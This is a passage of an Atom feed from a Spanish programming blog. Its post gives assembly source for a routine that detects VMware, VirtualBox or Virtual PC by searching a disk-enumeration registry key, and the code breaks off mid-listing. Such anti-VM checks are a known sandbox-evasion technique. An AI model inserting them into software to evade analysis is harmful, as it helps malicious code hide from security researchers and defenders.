<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-525026250660735124</id><updated>2011-07-30T19:22:24.058-07:00</updated><category term='Programas'/><category term='ASM'/><title type='text'>Diario De YST</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://diariodeyst.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://diariodeyst.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>YST</name><uri>http://www.blogger.com/profile/06921749862062454422</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>22</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-525026250660735124.post-9114434383685381502</id><published>2009-07-30T22:13:00.000-07:00</published><updated>2009-07-30T22:14:19.398-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ASM'/><title type='text'>IsVirtualPCPresent - Detecta si estamos siendo ejecutados en una maquina virtual .</title><content type='html'>&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;include&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'win32ax.inc'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;code&lt;/span&gt;&lt;br /&gt;start&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; IsVirtualPCPresent&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt;  &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; MessageBox&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"No estamos en una maquina virtual"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; ExitProcess&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;IsVirtualPCPresent&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Autor: YST&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Basado en un la funcion IsVirtualPCPresent de cobein&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; IsVirtualPCPresent&lt;br /&gt;locals&lt;br /&gt;lBuffer rb &lt;span style="color: rgb(0, 0, 255);"&gt;500&lt;/span&gt;&lt;br /&gt;endl&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; LeerRegistro&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;80000002h&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;iClave&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;iCero&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;addr&lt;/span&gt; lBuffer&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;je&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;no&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; cInstr&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;addr&lt;/span&gt; lBuffer&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;iVIRTUAL&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;je&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;@f&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir&lt;br /&gt;@@&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; cInstr&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;addr&lt;/span&gt; lBuffer&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;iVMWARE&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;je&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;@f&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir&lt;br /&gt;@@&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; cInstr&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;addr&lt;/span&gt; lBuffer&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;iVBOX&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;je&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;@f&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;3&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir&lt;br /&gt;@@&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;no&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br /&gt;iClave &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;db&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'SYSTEM\ControlSet001\Services\Disk\Enum'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;iCero &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;db&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'0'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;iVIRTUAL &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;db&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'VIRTUAL'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;iVMWARE &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;db&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'VMWARE'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;iVBOX &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;db&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'VBOX'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; LeerRegistro&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cHKEY&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cCadena&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cCampo&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cBuffer&lt;br /&gt;locals&lt;br /&gt;temp &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br /&gt;Result &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br /&gt;endl&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;temp&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;MAX_PATH&lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; RegOpenKeyEx&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cHKEY&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cCadena&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;KEY_READ&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;addr&lt;/span&gt; Result&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt; &amp;lt;&amp;gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Si no hay datos devolvemos 0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt;  &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;lea&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;temp&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; RegQueryValueEx  &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Result&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cCampo&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cBuffer&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt; &amp;lt;&amp;gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Si no hay datos devolvemos 0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt;  &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;////////////////////////////////////////////////////////////////////////////////////////////////////&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;//Descripción: Funcion que ve si la segunda cadena se encuentra dentro de la primera             //&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;//c1 = Cadena                                                                                   //&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;//c2 = Cadena que se buscara en c1                                                             //&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;// Retorna:                                                                                   //&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;// Si no se encuentra o hay error retorna FALSE , en el caso de que se encuentre devuelve eax//&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;// apuntandoa la posicion de c1 donde se encontro c2                                        //&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;// by YST                                                                                  //&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;////////////////////////////////////////////////////////////////////////////////////////////&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; cInstr&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;c1&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;c2&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;  &lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Len&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;c2&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Len&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;c1&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jg&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;Falso&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;c1&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;c2&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;cl&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; comparar&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;c2&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;cl&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt; = &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 